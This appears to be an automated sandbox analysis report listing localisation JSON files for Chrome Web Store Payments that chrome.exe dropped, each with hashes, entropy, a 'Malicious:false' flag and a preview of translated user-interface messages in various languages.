                                                                    Preview:{.. "app_description": {.. "message": "Sistema de pagaments de Chrome Web Store".. },.. "app_name": {.. "message": "Sistema de pagaments de Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "Ara mateix aquesta aplicaci. no est. disponible.".. },.. "craw_connect_to_network": {.. "message": "Connecteu-vos a una xarxa.".. },.. "iap_unavailable": {.. "message": "La funci. Pagaments a l'aplicaci. no est. disponible actualment.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Inicieu la sessi. a Chrome.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):641
                                                                    Entropy (8bit):4.698608127109193
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJfZGGfZ+WYpU34OBh+dgN/O8ZpU34j05U03OyZnLAOfTYWc:1HEl4G8WYpdt8Zpq5TOGAOfW
                                                                    MD5:76DEC64ED1556180B452A13C83171883
                                                                    SHA1:CFB1E56FD587BCDC459C1D9A683B71F9849058F9
                                                                    SHA-256:32290D69A90E6BAAC428B10382C99221B12773BB9A184F3B93DFB48A4F6D7A40
                                                                    SHA-512:5230A217968D5DC463E2E92D704544311A721E5CEF65C3125CBD8DEB9C0293D3BFB5C820A6011ABF77095FDEE7DAF67D541DC202B0C9CDB0908CBB85D84885CB
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Platby Internetov.ho obchodu Chrome".. },.. "app_name": {.. "message": "Platby Internetov.ho obchodu Chrome".. },.. "craw_app_unavailable": {.. "message": "Aplikace v sou.asn. dob. nen. dostupn..".. },.. "craw_connect_to_network": {.. "message": "P.ipojte se pros.m k s.ti.".. },.. "iap_unavailable": {.. "message": "Platby v aplikaci aktu.ln. nejsou k dispozici.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "P.ihlaste se do Chromu.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):624
                                                                    Entropy (8bit):4.5289746475384565
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJJMKKFZGGJMKKFZ+WYpU34OHu+dgxlCZO8ZpU34J4Wu03OyZnLAOfTYzD:1HErMKfqMKVWYpM6lL8ZpDNOGAOfiD
                                                                    MD5:238B97A36E411E42FF37CEFAF2927ED1
                                                                    SHA1:4E47AC90BA24C8F4724D9293FA40CFD4ADA66FE0
                                                                    SHA-256:4977D4A053542FF66967FAED6B06585DD70E68E20BFEB533B66FE3287F9655D9
                                                                    SHA-512:FD0742D47B5F5AB9AAD9B4C3D57F63CB693E060EECE123A72036C6E92156D099495C7E9E9CC6DC83EEBCDDCC4B4C81FB47E4C9559DA3EBA024780FFF10C53E0A
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Betalinger i Chrome Webshop".. },.. "app_name": {.. "message": "Betalinger i Chrome Webshop".. },.. "craw_app_unavailable": {.. "message": "Appen er ikke tilg.ngelig i .jeblikket.".. },.. "craw_connect_to_network": {.. "message": "Opret forbindelse til et netv.rk.".. },.. "iap_unavailable": {.. "message": "Betaling i appen er ikke tilg.ngelig i .jeblikket.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Log ind p. Chrome.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):651
                                                                    Entropy (8bit):4.583694000020627
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJQ1ZGGQ1Z+WYpU34pCEMT+dgJMlCTO8ZpU34p6FK603OyZnLAOfTYJ6K:1HEzWWYp3Bewv8Zp7k4OGAOfQj
                                                                    MD5:6B3E916E8C1991AA0453CBA00FEDCAAA
                                                                    SHA1:D6366D15912E40CA107FD42BFE9579C3336A51F9
                                                                    SHA-256:A62FFAB910E31531758EEE48B2CC71A8857BEC3021DEAD50B668CBA3C8667053
                                                                    SHA-512:87EA4311B61F29543B13F3E17DFA919D0C320B4FE370CC152E0B1514BCA79B0ABB526DDCF08621D6EBFA48923EE8FB4C667EFB120A72BD9583EEBEE7BFB80552
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Chrome Web Store-Zahlungen".. },.. "app_name": {.. "message": "Chrome Web Store-Zahlungen".. },.. "craw_app_unavailable": {.. "message": "Die App ist momentan nicht verf.gbar.".. },.. "craw_connect_to_network": {.. "message": "Bitte stellen Sie eine Verbindung zu einem Netzwerk her.".. },.. "iap_unavailable": {.. "message": "In-App-Zahlungen sind momentan nicht m.glich.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Bitte melden Sie sich in Chrome an.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):787
                                                                    Entropy (8bit):4.973349962793468
                                                                    Encrypted:false
                                                                    SSDEEP:24:1HEw+aZ+6WYpbWZe80A08ZpCGyDVWlOGAOf+XD:WguYpCZnpEZbGoD
                                                                    MD5:05C437A322C1148B5F78B2F341339147
                                                                    SHA1:AB53003A678E44A170E73711FBD9949833BBF3AA
                                                                    SHA-256:A052C32B4FCAC61152EB0ADB2C260FB6A8256AD104AA0013DB93E9798D41A070
                                                                    SHA-512:C36CB9202A34356DD06D377E2A088F428D0B8EBE7D2E54F8380485E9D94A0598D7F651C1E7A2FD55BE481D49C02B0812F2BA335E08611EC85EE0BD60784A6B40
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "........ ... Chrome Web Store".. },.. "app_name": {.. "message": "........ ... Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": ". ........ .... .. ..... ... ..... ..........".. },.. "craw_connect_to_network": {.. "message": ".......... .. ... .......".. },.. "iap_unavailable": {.. "message": ".. ........ ..... ......... ... ..... ..... .. ...... ...........".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": ".......... ... Chrome.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):593
                                                                    Entropy (8bit):4.483686991119526
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJ6GG6+WYpU34OuFpR+dgGfFZO8ZpU34aEGFpR03OyZnLAOfTYdD:1HEVSWYpVp0JS8Zp5KpaOGAOfuD
                                                                    MD5:91F5BC87FD478A007EC68C4E8ADF11AC
                                                                    SHA1:D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6
                                                                    SHA-256:92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3D9C9
                                                                    SHA-512:FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EE0BD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BF98A65FFD9
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Chrome Web Store Payments".. },.. "app_name": {.. "message": "Chrome Web Store Payments".. },.. "craw_app_unavailable": {.. "message": "App currently unavailable.".. },.. "craw_connect_to_network": {.. "message": "Please connect to a network.".. },.. "iap_unavailable": {.. "message": "In-App Payments is currently unavailable.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Please sign into Chrome.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):593
                                                                    Entropy (8bit):4.483686991119526
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJ6GG6+WYpU34OuFpR+dgGfFZO8ZpU34aEGFpR03OyZnLAOfTYdD:1HEVSWYpVp0JS8Zp5KpaOGAOfuD
                                                                    MD5:91F5BC87FD478A007EC68C4E8ADF11AC
                                                                    SHA1:D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6
                                                                    SHA-256:92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3D9C9
                                                                    SHA-512:FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EE0BD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BF98A65FFD9
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Chrome Web Store Payments".. },.. "app_name": {.. "message": "Chrome Web Store Payments".. },.. "craw_app_unavailable": {.. "message": "App currently unavailable.".. },.. "craw_connect_to_network": {.. "message": "Please connect to a network.".. },.. "iap_unavailable": {.. "message": "In-App Payments is currently unavailable.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Please sign into Chrome.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):661
                                                                    Entropy (8bit):4.450938335136508
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJHlbGGHlb+WYpU34ubdDH+dgxbFxTO8ZpU34lPbdlVo03OyZnLAOfTY6xjD:1HEvaC6WYpcDeEFxq8ZpNl5OGAOffD
                                                                    MD5:82719BD3999AD66193A9B0BB525F97CD
                                                                    SHA1:41194D511F1ACC16C1CA828AC81C18C8C6B47287
                                                                    SHA-256:4DB9B2721E625C18B9E05C04B31AF5D9694712F1CAAF6219ABE34BB08E5DB1C7
                                                                    SHA-512:D4C49B43427799B6292CEED11CACB1D76F7CE43EBF402B43B638A6EB2B414ED0981E386CB8CDF0B51D1BD9552934FE25B2F6392266BB73D8C9A691F65BCE0128
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Sistema de pagos de Chrome Web Store".. },.. "app_name": {.. "message": "Sistema de pagos de Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "Esta aplicaci.n no est. disponible en este momento.".. },.. "craw_connect_to_network": {.. "message": "Con.ctate a una red.".. },.. "iap_unavailable": {.. "message": "Los pagos en la aplicaci.n no est.n disponibles en este momento.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Inicia sesi.n en Chrome.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):637
                                                                    Entropy (8bit):4.47253983486615
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJHlbGGHlb+WYpU34ubdDH+dgxbFxTO8ZpU34GLO03OyZnLAOfTYiJD:1HEvaC6WYpcDeEFxq8Zp4LlOGAOfvD
                                                                    MD5:6B2583D8D1C147E36A69A88009CBEBC7
                                                                    SHA1:4D4DEEB4BE6AA0181825F3371A761ABC5B4D5937
                                                                    SHA-256:6659BC3705311D7641A73995DCFEA80C7734F2F4EBBC3787B3892A240348324F
                                                                    SHA-512:37F0DBFCC1B5A2B8E4C92C49D2D9DEEF25616421350324F57E0149A45A6CCB437F5E3CBE97412C4B5DBBF2593783C7DF71E9C25A851AEAE6E4764C545723FA53
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Sistema de pagos de Chrome Web Store".. },.. "app_name": {.. "message": "Sistema de pagos de Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "Esta aplicaci.n no est. disponible en este momento.".. },.. "craw_connect_to_network": {.. "message": "Con.ctate a una red.".. },.. "iap_unavailable": {.. "message": "En este momento, Pagos En-Apps no est. disponible.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Accede a Chrome.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):595
                                                                    Entropy (8bit):4.467205425399467
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJfPGGGfPG+WYpU34Ze7z+dgrW9O8ZpU34ZwZz03OyZnLAOfTYgoLIR:1HEdvqlWYpTeObk8ZpT/OGAOfuLIR
                                                                    MD5:CFF6CB76EC724B17C1BC920726CB35A7
                                                                    SHA1:14ED068251D65A840F00C05409D705259D329FFC
                                                                    SHA-256:C85800BF45942FCC7FD6B1DF929C25F9CC2A977A6678966BD03D4B6B69889AFD
                                                                    SHA-512:53D7D01BB30C0306DE65A79FD9551D2E8C1F71F4F45F71906B009071CB3E0F231E6A50FDD78773E9B4DE94085BC7B97F829842FA21A89A2080D33458B745C46F
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Chrome'i veebipoe maksed".. },.. "app_name": {.. "message": "Chrome'i veebipoe maksed".. },.. "craw_app_unavailable": {.. "message": "Rakendus pole praegu saadaval.".. },.. "craw_connect_to_network": {.. "message": "Looge .hendus v.rguga.".. },.. "iap_unavailable": {.. "message": "Rakendusesisesed maksed ei ole praegu saadaval.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Logige Chrome'i sisse.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):647
                                                                    Entropy (8bit):4.595421267152647
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJRuzGGRuz+WYpU34ujSBu+dgYO8ZpU34J+Bu03OyZnLAOfTY5HN:1HEFcWYpPNa8ZpD+FOGAOfEHN
                                                                    MD5:3A01FEE829445C482D1721FF63153D16
                                                                    SHA1:F3EAAADDC03F943FC88B30B67F534AA13E3336DD
                                                                    SHA-256:0BDE54B20845124113383B6EB81E43A0F05E4EB0C44BEE3C1DFAC4CC5FEC2836
                                                                    SHA-512:3B92B6C86D30FD36AA3CEFF8773BA60C3FC5CC19C693540137044C5838A5503895C770C0336A4D0A3DB5E42F3FB36274D8D3F85B9DCA2F3EC0E974FDDB0BEAD8
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Chrome Web Storen maksut".. },.. "app_name": {.. "message": "Chrome Web Storen maksut".. },.. "craw_app_unavailable": {.. "message": "Sovellus ei ole t.ll. hetkell. k.ytett.viss..".. },.. "craw_connect_to_network": {.. "message": "Muodosta verkkoyhteys.".. },.. "iap_unavailable": {.. "message": "Sovelluksen sis.iset maksut eiv.t ole t.ll. hetkell. k.ytett.viss..".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Kirjaudu sis..n Chromeen.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):658
                                                                    Entropy (8bit):4.5231229502550745
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJADlbGGADlb+WYpU34hTUT+dgHfZAFFZO8ZpU34hTjzeT03OyZnLAOfTYHfvF:1HEYah6WYp7TUSoxOS8Zp7TOsOGAOfqV
                                                                    MD5:57AF5B654270A945BDA8053A83353A06
                                                                    SHA1:EEEF7A4F869F97CF471A05D345E74F982D15E167
                                                                    SHA-256:EC002ED92359F67818B49455DFC579E140368E6A004080AF022FD4F57F6B03F2
                                                                    SHA-512:5F0AE839FCF3F4EA48FF41A76655AE0F3821564AFD5D42FBB9FBB9A38E8D8F7BB5E9B6F71064588CD441261F644095A44A755C134CE546D506D9A21E488BAF52
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Mga Pagbabayad sa Chrome Web Store".. },.. "app_name": {.. "message": "Mga Pagbabayad sa Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "Kasalukuyang hindi available ang app.".. },.. "craw_connect_to_network": {.. "message": "Mangyaring kumonekta sa isang network.".. },.. "iap_unavailable": {.. "message": "Kasalukuyang hindi available ang Mga Pagbabayad na In-App.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Mangyaring mag-sign in sa Chrome.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):677
                                                                    Entropy (8bit):4.552569602149629
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJALf/nbGGALf/nb+WYpU34Owdgbyb+dgdQjO8ZpU34ITQpGnbyb03OyZnLAO8:1HE4Hna1Hn6WYpNdgpY8ZpSTQwnBOGAh
                                                                    MD5:8D11C90F44A6585B57B933AB38D1FFF8
                                                                    SHA1:3F9D44EA8807069A32AACA2AAAD02FD892E6CC90
                                                                    SHA-256:599491F8C52B945C16C441ADF45BFD45AFAE046DA07757D97C56AF4DE75ED3B5
                                                                    SHA-512:D7EF7F5AD7EF1A1595825D79B69E2B1E988AD3CF1F3881496FCCD30F241E4E9C6E457F9F5D0F855DE3536DB7A40C3E1C55946B50D3F556F4A35285066A0CD6F7
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Paiements via le Chrome.Web.Store".. },.. "app_name": {.. "message": "Paiements via le Chrome.Web.Store".. },.. "craw_app_unavailable": {.. "message": "Application indisponible pour le moment.".. },.. "craw_connect_to_network": {.. "message": "Veuillez vous connecter . un r.seau.".. },.. "iap_unavailable": {.. "message": "Les paiements via l'application ne sont pas disponibles pour le moment.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Veuillez vous connecter . Chrome.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):835
                                                                    Entropy (8bit):4.791154467711985
                                                                    Encrypted:false
                                                                    SSDEEP:24:1HEs07J0JWYp9vnCSVLP8Zp6CsOGAOf8SLm:Wh7qgYp1CMLUph1GiSLm
                                                                    MD5:E376D757C8FD66AC70A7D2D49760B94E
                                                                    SHA1:1525C5B1312D409604F097768503298EC440CC4D
                                                                    SHA-256:8106D98C4F8DA16DB698444409558E29CC96735E188BFA303C333A5D99231C1D
                                                                    SHA-512:673F3F259AF2946E4F49BBED14A2A70D44BF9FDA9D7A71DC9172BA9B7B3C7F7062B16D29682B638D485B0520ED6F99E7A735F28C7C719B539559005B69FA7555
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Chrome ... ..... ......".. },.. "app_name": {.. "message": "Chrome ... ..... ......".. },.. "craw_app_unavailable": {.. "message": "......... .. ... ...... .... ...".. },.. "craw_connect_to_network": {.. "message": "..... ....... .. ...... .....".. },.. "iap_unavailable": {.. "message": "..-.. ...... ... ...... .... ...".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "..... Chrome ... .... .. .....".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):618
                                                                    Entropy (8bit):4.56999230891419
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJGiimxmbZGGGiimxmbZ+WYpU34OBOEuhopIO+dgcapZO8ZpU34GiiZrMrQphK:1HE4H4TH8WYpNjTta28ZpQVLP0SOGAOK
                                                                    MD5:8185D0490C86363602A137F9A261CC50
                                                                    SHA1:5BD933B874441CEACB9201CCC941FF67BAED6DC0
                                                                    SHA-256:A2B2EC359A9DD9DCCCE02859CE1E738BD30FAA4A05F1DC522893FFDF722BBC15
                                                                    SHA-512:D7629978FC031EA5F716F9C1065FB2FEAB48C15F10CD68830DC966FA1002C03DDC7ACDE314C7D075F9F3A0A68552A6ACBCCDEE24CF20B6C3DD1BCE6562D0396E
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Pla.anja u web-trgovini Chrome".. },.. "app_name": {.. "message": "Pla.anja u web-trgovini Chrome".. },.. "craw_app_unavailable": {.. "message": "Aplikacija trenuta.no nije dostupna.".. },.. "craw_connect_to_network": {.. "message": "Pove.ite se s mre.om.".. },.. "iap_unavailable": {.. "message": "Pla.anje u aplikaciji trenuta.no nije dostupno.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Prijavite se na Chrome.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):683
                                                                    Entropy (8bit):4.675370843321512
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJVJiGGVJi+WYpU34Hpo9O+dgMmfgijO8ZpU34Huo9O03OyZnLAOfTYBIAYm:1HEVrk5WYpQzTUg/8ZpwoXOGAOfYIAd
                                                                    MD5:85609CF8623582A8376C206556ED2131
                                                                    SHA1:1E16EB70DB5E59BB684866FF3E3925C2DEF25A12
                                                                    SHA-256:32A249749F12ADB6A220BF9ADC272C7E5D9AD5497A38B0086D961E3ABA17FBC6
                                                                    SHA-512:27883430865D3CFA6EDFE8C6CE1442BD96150B5CE520CCF7D556A330CAA6392C712B47BD86F7350E174876BC681F6DEC94D1312402655B0AF90883A2899EC78B
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Chrome Internetes .ruh.z Fizet.si rendszere".. },.. "app_name": {.. "message": "Chrome Internetes .ruh.z Fizet.si rendszere".. },.. "craw_app_unavailable": {.. "message": "Az alkalmaz.s jelenleg nem .rhet. el.".. },.. "craw_connect_to_network": {.. "message": "K.rj.k, csatlakozzon egy h.l.zathoz.".. },.. "iap_unavailable": {.. "message": "Az alkalmaz.son bel.li fizet.s jelenleg nem .rhet. el.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Jelentkezzen be a Chrome-ba.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:ASCII text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):604
                                                                    Entropy (8bit):4.465685261172395
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJs25bGGs25b+WYpU34ORBHAeSJ+dgkmO8ZpU34s22C/SzFAs03OyZnLAOfTYR:1HEBaA6WYpaHFH8ZptOYOGAOf2D
                                                                    MD5:EAB2B946D1232AB98137E760954003AA
                                                                    SHA1:60BDC2937905B311D2C9844DF2D639D7AC9F7F67
                                                                    SHA-256:C6E8800450602DE0F39FE9F6854472383813FB454B08ABAE7E25A9167CE004C3
                                                                    SHA-512:970FEC9A9EF0BAF7F693C4C5977F3B47914579C5B5414FCE9DBB5E4574659A5BB9AD2DE0CC886B368F49C019785AF7D2D7FE82F71341F039EADC399ED776CA12
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Pembayaran Chrome Webstore".. },.. "app_name": {.. "message": "Pembayaran Chrome Webstore".. },.. "craw_app_unavailable": {.. "message": "Aplikasi tidak tersedia saat ini.".. },.. "craw_connect_to_network": {.. "message": "Sambungkan ke jaringan.".. },.. "iap_unavailable": {.. "message": "Pembayaran Dalam Aplikasi saat ini tidak tersedia.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Harap masuk ke Chrome.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):603
                                                                    Entropy (8bit):4.479418964635223
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJsqd/bGGsqd/b+WYpU34OcX4+dgUvIO8ZpU34vq703OyZnLAOfTYsD:1HEXd/aKd/6WYpZrv58ZpskOGAOfzD
                                                                    MD5:A328EEF5E841E0C72D3CD7366899C5C8
                                                                    SHA1:2851ED658385804E87911643F5A4200B1FB26E13
                                                                    SHA-256:CD891C45F7586FB4A2514205A11F260E4A6D4482FA03D901909DD9F57BE0536D
                                                                    SHA-512:E47297896E981774EC3B59D41B89D6BA9333F6B4435EB9727D8645A46B10C7D408ADE06844871FA757382FBE7E645276449DB7B1B23BC59C9A71A5CB5A5ECC57
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Pagamenti Chrome Web Store".. },.. "app_name": {.. "message": "Pagamenti Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "App al momento non disponibile.".. },.. "craw_connect_to_network": {.. "message": "Collegati a una rete.".. },.. "iap_unavailable": {.. "message": "La funzione Pagamenti In-App non . al momento disponibile.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Accedi a Chrome.".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):697
                                                                    Entropy (8bit):5.20469020877498
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJ07uGG07u+WYpU34DB+dgnsVztO8ZpU34MwiB03OyZnLAOfTYmSH:1HEcnDNWYp1kxU8Zp2wiqOGAOfpSH
                                                                    MD5:9B3A5D473C3F2BBFAEECE94A07A940B8
                                                                    SHA1:61BACA342CF766BBA15C7B4D892A0E7DAC9405AA
                                                                    SHA-256:706312A4A2AEF3317223F141EB2B82685345B7EED444F16BB4DF3A272716DA1F
                                                                    SHA-512:94F6FEE9A11BD890AB8211C98D1CC142348961EBCF756F66477A3E3A76519804B70BE0AE4E551739F8AFE32D7ADE6EDE04EF6B9B9EED03E3A857E6058EEDD4C6
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Chrome ........".. },.. "app_name": {.. "message": "Chrome ........".. },.. "craw_app_unavailable": {.. "message": ".................".. },.. "craw_connect_to_network": {.. "message": "................".. },.. "iap_unavailable": {.. "message": ".......................".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Chrome ............".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):631
                                                                    Entropy (8bit):5.160315577642469
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJ1GG1+WYpU34K3aT+dgh8d0HTO8ZpU34KaNkaT03OyZnLAOfTY/YeHx:1HEajWYpc3aSl0Hq8Zpc6kasOGAOfyYA
                                                                    MD5:9F6B4D82A70C74CA751E2EAE70FAB5CF
                                                                    SHA1:0534F125FFCE8222277CF2BE3401C59DAF9217F8
                                                                    SHA-256:D1467B8D037114403E8F4EFC52E88C4A7FEB96126BE4CFF883FEFF1084EF7E68
                                                                    SHA-512:ED9319830314385D09C06F62EE34186E8CA576C857981205E4468A28B3ACD2AB03384E77B866032C324ABDD97A56EFD08E2D6E0C79D563578B3EC52517819BD8
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": "Chrome . ... ..".. },.. "app_name": {.. "message": "Chrome . ... ..".. },.. "craw_app_unavailable": {.. "message": ".. .. ... . .....".. },.. "craw_connect_to_network": {.. "message": "..... ......".. },.. "iap_unavailable": {.. "message": ".. .. ... ... . .....".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Chrome. .......".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):665
                                                                    Entropy (8bit):4.66839186029557
                                                                    Encrypted:false
                                                                    SSDEEP:12:1HEJpqHnkGGpqHnk+WYpU346M+dgV6O8ZpU34WzSWz03OyZnLAOfTYx:1HELqHtKqHPWYpM3A8ZpwGzOGAOfg
                                                                    MD5:4CA644F875606986A9898D04BDAE3EA5
                                                                    SHA1:722A10569E93975129D67FBDB75B537D9D622AD1
                                                                    SHA-256:7C311AB751D840D750C11553C083785813E079C1D464FE568A98C9E3EF3DB96C
                                                                    SHA-512:E575E3D0622F5BD4B6C0EE79128A1B1F1882195670139D1983F4377D847141B8FB8EBB8BCED82AF3A220ED07D3577AFBE085BADC0E9C7678292B80E3EC5D3444
                                                                    Malicious:false
                                                                    Preview:{.. "app_description": {.. "message": ".Chrome. internetin.s parduotuv.s mok.jimo sistema".. },.. "app_name": {.. "message": ".Chrome. internetin.s parduotuv.s mok.jimo sistema".. },.. "craw_app_unavailable": {.. "message": "Programa .iuo metu negalima.".. },.. "craw_connect_to_network": {.. "message": "Prisijunkite prie tinklo.".. },.. "iap_unavailable": {.. "message": "Mok.jimai programoje .iuo metu negalimi.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Prisijunkite prie .Chrome..".. }..}..
                                                                    Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    File Type:UTF-8 Unicode text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):671
                                                                    Entropy (8bit):4.631774066483956
                                                                    Encrypted:false
